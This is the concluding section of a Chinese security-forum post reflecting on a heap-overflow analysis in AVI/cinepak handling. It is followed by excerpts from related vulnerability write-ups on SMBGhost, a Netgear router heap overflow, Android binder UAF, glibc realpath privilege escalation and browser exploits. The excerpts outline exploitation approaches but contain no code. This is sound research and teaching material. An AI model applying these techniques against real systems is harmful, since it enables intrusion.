這次漏洞分析花費的時間主要集中在前面對於堆溢出相關知識的複習,以及AVI格式的學習上。一旦對于格式有所了解,使用!gflag定位到漏洞函數後,代碼分析就很簡單了。!gflag和!heap命令在堆溢出的漏洞分析上幫助很大;如何使用Windbg,在加載DLL之後設置斷點也是新接觸到的一個知識點。對於該漏洞本身,在剛看到漏洞介紹時,我只以為是在單次strcpy調用時複製的數據超過了目標空間大小,但實際調試時發現是多次同樣大小的數據複製最終超過了目標空間大小,雖然原理相同,但這裡需要判斷的其實應該是複製的次數而不是大小了。

1、《漏洞戰爭》

2、Common WinDbg Commands (Thematically Grouped)

3、AVI文件格式詳解

4、cinepak文檔

看雪ID:LarryS

https://bbs.pediy.com/user-home-600394.htm

*本文由看雪論壇 LarryS 原創,轉載請註明來自看雪社區

相關焦點

  • SUMAP網絡空間測繪|2021年CVE漏洞趨勢安全分析報告
    同時攻擊者在面向全網攻擊,既包括傳統攻擊方式WEB攻擊、緩衝區溢出攻擊、資料庫攻擊,也涵蓋了新型攻擊——重點針對物聯網設備和工控設備層面的攻擊,現階段也越發的頻繁。 對於今天的網際網路安全我們更需要通過模型監測方式來持續觀察漏洞趨勢和影響範圍,才能持續應對漏洞爆發之後的安全趨勢分析評估。
  • CVE-2017-7187漏洞分析
    接著 review 一下代碼:整個code path分析下來,我們發現了一個非常有趣的的函數__copy_from_user(),它被 sg_write()函數調用,現在讓我們看看這個函數的細節吧。只要我們在用戶空間下傳遞一個buffer,讓它大於252,即可溢出。
  • Windows 10上的堆溢出漏洞利用
    我了解漏洞的一種方法是弄清楚如何創建它和攻破它。這就是我們今天要做的。由於堆內存損壞是一個非常有破壞力的問題,所以讓我們從Windows 10上的堆溢出開始吧。堆溢出的案例這是一個堆溢出的基本示例。很明顯,它試圖將64位元組大小的數據傳遞給一個只有32位元組的堆緩衝區。
  • Python遠程代碼執行漏洞(CVE-2021-3177)
    由於未檢查sprintf()函數的長度,_ctypes/callproc.c中的PyCArg_repr()函數中存在緩衝區溢出漏洞,這可能會導致某些接受浮點數作為不可信輸入的Python應用程式中的遠程代碼執行。當天,Redhat官方也發布了該漏洞的安全通告,其對該漏洞的CVSSv3評分為5.9,並表示此漏洞帶來的最大威脅是對系統的可用性。
  • Pwn2Own Tokyo :Netgear R6700路由器堆溢出漏洞分析
    第二個問題是文件上傳函數中的經典堆溢出漏洞。易受攻擊的函數將上傳文件的內容複製到攻擊者控制大小的基於堆的緩衝區中,以下是易受攻擊的函數的偽代碼:為了控制基於堆的緩衝區的大小,攻擊者可以利用Content-Length標頭,但這並不簡單,讓我們更深入地說明原因。導入配置文件的HTTP請求如下:HTTP請求必須滿足幾個條件。
  • Office系列漏洞經典案例分析與利用
    四維漏洞播報1、漏洞簡介CVE-2017-11882屬於緩衝區溢出類型漏洞,產生漏洞原因於EQNEDT32.EXE(微軟office自帶公式編輯器)進程在讀入包含MathType的ole數據時,在拷貝公式字體名稱(Font
  • CVE-Flow:1999-2020年CVE數據分析
    存量CVE數據分析先介紹點CVE相關的背景知識:CVE、MITRE、NVD、NIST、CVEdetails。安全繞不開漏洞,漏洞繞不開CVE(通用漏洞披露),CVE可以看成漏洞的美標,1999年由MITRE公司提出,現流行的ATT&CK也是由MITRE提出。
  • CVE-2018-1000001 glibc realpath緩衝區溢出漏洞分析
    這樣在for循環中處理」../」這種情況時向前挪dest,因為前面沒有」/」了,所以一直--dest造成後面拷貝時緩衝區溢出。觸發漏洞使用的是util-linux中的umount,原因主要有兩點:1、 umount會調用realpath來解析路徑,而且能被所有用戶使用;2、umount具有SUID權限,具有這種權限的文件會在執行時使調用者暫時獲得該文件擁有者的權限,可以用來提權。umount的realpath的操作發生在堆上,所以需要創造可重現的堆布局。
  • CVE-2020-0423 Android內核提權漏洞分析
    這個漏洞大致上是binder的sender和receive端的對binder_node結構體的race condition轉化為uaf漏洞,作者進一步觸發了double free,結合後續巧妙的堆噴分配,利用slub和ksma機制,繞過kalsr和cfi保護。
  • 從PoC到Exploit:CVE-2013-2551 IE VML COALineDashStyleArray整數溢出漏洞
    上大學以來,在激烈的競爭中我能得到的鼓勵少之又少,TSCTF2015,通過一段時間的努力,獲得了不差於研究生學長的成績,是第一次;從無到有地分析了CoolPlayer棧溢出漏洞,是第二次;這次用不到4天的時間從漏洞PoC的分析到構造Exploit,這次成功也給自己相當大的鼓勵,是第三次。        我的大學時光到現在,基本到了尾聲,也基本安定下來,有了不錯的去處。
  • Windows VBScript引擎遠程執行代碼漏洞 CVE-2018-8174分析與利用
    VBScript引擎處理內存中對象的方式中存在一個遠程執行代碼漏洞。該漏洞可能以一種攻擊者可以在當前用戶的上下文中執行任意代碼的方式來破壞內存。成功利用此漏洞的攻擊者可以獲得與當前用戶相同的用戶權限。如果當前用戶使用管理用戶權限登錄,則成功利用此漏洞的攻擊者可以控制受影響的系統。然後攻擊者可以安裝程序; 查看,更改或刪除數據; 或創建具有完全用戶權限的新帳戶。
  • 堆入門之常見漏洞利用
    利用條件:(1)能夠申請到fastbins大小範圍的chunk(2)有UAF或者堆溢出等漏洞,能夠修改釋放狀態下chunk的FD指針題目: buuoj——babyheap_0ctf_2017WP:分析程序,首先查看保護,發現所有保護全開,FULL RELRD 說明我們不能改寫got表進行洩露,同時開啟了ASLR。
  • IoT上的緩衝區溢出漏洞
    在過去N年裡,緩衝區溢出一直是網絡攻擊中最常被利用的漏洞。 看一下緩衝區是如何創建的,就能知道原因所在。
  • 深入研究VBScript—CVE-2018-8174利用分析
    漏洞CVE-2018-8174並寫了一篇描述文章。CVE-2014-6332是針對寫入任意內存位置的整數溢出利用,但我的興趣在於如何調整此技術以利用use-after-free漏洞。要回答這個問題,讓我們考慮一下VBScript解釋器的內部結構。無文檔記錄的平臺調試VBScript可執行文件是一項繁瑣的工作。在腳本執行之前,它被編譯成p代碼,然後由虛擬機解釋。
  • Edge CVE-2017-0234 漏洞復現與利用
    顯然此處JIT生成的彙編代碼缺少數組下標的越界檢測,通過patch代碼的分析來探尋其中的原因。,由此可得這個漏洞之所以能輕易數組越界,是因為開發者主動關閉下標檢測。而相關原因將在下文進一步分析。此外,這個漏洞還有一個特點,JIT中數組越界產生的異常會被chakra自己處理,並不會引發crash,理論上這對漏洞利用的穩定性會有所幫助。
  • 【經典回顧系列】 一步一步教你漏洞挖掘之Windows SMB Ghost CVE-2020-0796(二)
    ,本文系統歸納分析總結漏洞利用的過程。和用戶態shellcode實現RCE0x01 實現任意地址寫入通過漏洞原理分析,我們知道目標程序中有多個可利用的漏洞點,而實現任意地址寫入的關鍵是要篡改內存拷貝過程中的目的地址和控制源數據。
  • 「JVM教程與調優」了解JVM 堆內存溢出以及非堆內存溢出
    本文我們來介紹一下jmap+MAT內存溢出。首先我們來介紹一下下JVM的內存結構。JVM內存結構介紹從圖中我們可以看到,JVM的內存結構分為兩大塊。一塊叫堆區,一塊叫非堆區。堆內存溢出演示那麼我們如何來構建一個堆內存溢出呢?其實很簡單,我們只要定義一個List對象,然後通過一個循環不停的往List裡面塞對象。因為只要Controller不被回收,那麼它裡面的成員變量也是不會被回收的。
  • CVE-2015-0057:從Windows內核UAF到內核桌面堆分配
    本篇文章主要是對Windows內核漏洞CVE-2015-0057進行分析,漏洞的知識點特別多,也閱讀了很多的資料,也很感謝給予我幫助的一些師傅
  • 【技術分享】CVE-2020-9802 JSC CSE漏洞分析
    邊界檢查消除與V8的checkbounds消除類似,當數組的下標分析確定在數組的大小範圍之內,則可以消除邊界檢查,但如果編譯器本身的檢查方式出現溢出等問題,編譯器認為idx在範圍之內而實際則可能不在範圍內,錯誤的消除邊界檢查將導致數組溢出。
  • dir-645 超長cookie棧溢出漏洞分析
    本文為看雪論精華文章看雪論壇作者ID:pureGavin分析一個D-Link的漏洞學習一下路由器漏洞方面的知識